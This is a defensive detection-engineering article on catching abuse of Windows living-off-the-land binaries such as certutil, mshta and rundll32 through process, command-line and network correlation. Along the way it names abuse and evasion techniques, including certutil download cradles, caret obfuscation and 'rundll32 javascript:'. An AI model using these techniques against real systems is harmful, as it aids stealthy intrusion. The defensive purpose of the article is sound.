Detection Strategy

Behavior Over Signature

Signature-based detection fails against LOLBins because the attack uses a binary Windows trusts. You cannot block certutil.exe by hash. You cannot alert on every mshta.exe invocation. Detection has to target what the binary does in a given context, not what the binary is.

Three behavioral dimensions define that context:

• Execution context -- the parent process, the account running the binary, the working directory, and the time of day.
• Command-line content -- the flags, arguments, URLs, and encoded strings passed to the binary.
• Network behavior -- whether the binary made an outbound connection, to what destination, and how soon after process creation.

Consider certutil.exe. When it runs as SYSTEM, spawned from a scheduled task on a WSUS server, reaching download.microsoft.com, that is a Windows Update operation. When it runs as a domain user, spawned from winword.exe on a workstation, reaching 185.220.101.x, that is a download cradle. The binary is identical. The context is not.

Context is also the mechanism that reduces false positives. Before alerting, you filter the population of all certutil executions down to those that match an attacker profile rather than an admin profile. The executions that remain after that filter are worth investigating.

Parent-Child Process Analysis

Of the three behavioral dimensions, the parent-child chain carries the most signal. An attacker using certutil as a download cradle has to invoke it from somewhere -- a macro, a script, a dropped executable. That parent process is almost never the same parent that runs certutil legitimately.

Normal parent processes for common LOLBins:

High-signal anomalous parent-child pairs worth alerting on directly:

Command-Line Pattern Analysis

Command-line content is the second most important signal. For most LOLBins, the legitimate use cases produce predictable argument patterns. Malicious use produces different ones. The table below captures the split for the most commonly abused binaries.

Detection logic needs to account for obfuscation. Certutil with caret characters inserted between arguments (cert^util) bypasses naive string matching. Build patterns that normalize common obfuscation variants, not just the clean form.

Establishing Baselines and Detecting Deviation

You cannot detect anomalies without a baseline. Baselining answers a specific question for each binary: what is normal for this binary in this environment? Without that answer, every detection rule is guessing at thresholds.

Five baseline dimensions to capture per binary:

• Execution frequency -- how many times per day per asset type (workstation vs server vs WSUS relay).
• Parent distribution -- which processes spawn this binary across the estate.
• Command-line diversity -- how many distinct command lines appear in 30 days. Low diversity means most executions are identical, making outliers easy to spot.
• Network destinations -- which domains and IPs the binary reaches outbound.
• Account context -- which accounts run this binary. SYSTEM vs named user vs service account carries different meaning.

In practice: run a broad SIEM or EDR query for the binary over 30 days, analyze the distribution across those five dimensions, document the normal population, then build suppression conditions before alerting on departures from it.

Some binaries are so infrequently used that the baseline is effectively zero. Installutil.exe, odbcconf.exe, and regasm.exe almost never execute on standard workstations outside .NET installation events. For those, any execution is the anomaly. No frequency threshold required.

Network Correlation

LOLBins making outbound network connections on standard workstations are performing either a download cradle or C2 beaconing. There is almost no other explanation. Most LOLBins have no legitimate reason to make network connections in typical enterprise workstation use.

The complete list of expected network behavior for common LOLBins is short. Certutil reaches crl.microsoft.com and ocsp.digicert.com for certificate validation. Bitsadmin reaches WSUS and Windows Update endpoints. That covers the vast majority of legitimate outbound activity. Everything else warrants scrutiny.

The detection primitive is a process-to-network join. Sysmon EID 1 (process creation) correlated with Sysmon EID 3 (network connection) on the same ProcessId within 30 seconds. If certutil spawned and certutil made a network call to a non-Microsoft IP within that window, the combination is the alert condition. Neither event alone is sufficient -- both are required.

DNS telemetry adds a secondary signal. A DNS query from certutil.exe to a domain resolving to a residential or VPS IP fires before the network connection event and before the payload lands. If your SIEM has process-tagged DNS telemetry, build that as an early-warning layer.

For BITS specifically, the operational event log provides a third source. EID 59 (job started) and EID 60 (job completed) include the source URL in the event description. This catches BITS-based downloads even when Sysmon EID 3 is not deployed or the process-network join fails.

Detection Coverage Mapping

Individual rules are not a detection program. Coverage mapping is what converts a collection of rules into a program with measurable gaps. The standard framework is ATT&CK T1218 subtechniques.

For each T1218 subtechnique, the coverage matrix should answer four questions: Does a relevant data source exist in this environment? Does a detection rule exist for it? When was the rule last tested? What is the known false positive rate? Any subtechnique without a data source is a blind spot. Any subtechnique without a rule is a gap. Any rule not tested in the last six months is of unknown reliability.

Common gaps in otherwise mature environments include rundll32 JavaScript execution (rundll32 javascript:), odbcconf REGSVR action, LOLDriver monitoring (Sysmon EID 6 driver load is often not deployed), and WMIC remote execution where the /node: pattern is missing from the rule.

Prioritize gap closure by threat actor usage. ATT&CK Groups data shows which tracked actors use which techniques. If the actors most likely to target your industry use mshta and rundll32 heavily, gaps in those subtechniques are higher priority than gaps in less-used techniques.

Detection Architecture for LOLBin Coverage

A systematic detection program follows a repeatable lifecycle for every rule: hypothesis formation, data source validation, rule authoring, testing in an isolated environment, deployment, tuning, documentation, and scheduled review. Skipping any stage creates a gap -- either a rule that never fires, a rule that fires too broadly to action, or a rule with no record of what it catches.

Rule naming matters for operational clarity. A convention like LOLBIN-CERTUTIL-DOWNLOAD-CRADLE or LOLBIN-MSHTA-CHILD-PROCESS immediately conveys the binary, the technique, and the specific behavior. Flat names like "Suspicious Process" do not.

Testing with Atomic Red Team provides controlled ground truth. The atomicredteam.io library covers most T1218 subtechniques. Running a test in an isolated lab and verifying the rule fires gives you documented detection validation, not assumed coverage. That test result goes into the rule's documentation record.

Tuning philosophy: tune from context, not from volume. A rule firing 1,000 times per day is not evidence that the rule should be disabled. Analyze the top triggers. If they are legitimate, they can be described precisely -- a specific device, a specific destination, a specific parent process. Add that description as a suppression condition. If they are malicious, 1,000 is not noise; it is the attack. Disabling a rule because it produces FPs you have not characterized is how blind spots form.

Each rule record should contain at minimum: the ATT&CK technique it covers, the data source it requires, the known false positive cases, the date of last successful test, and a sensitivity rating. Documentation is not overhead -- it is the difference between a rule that gets tuned correctly and one that gets disabled six months later by someone who does not know what it was catching.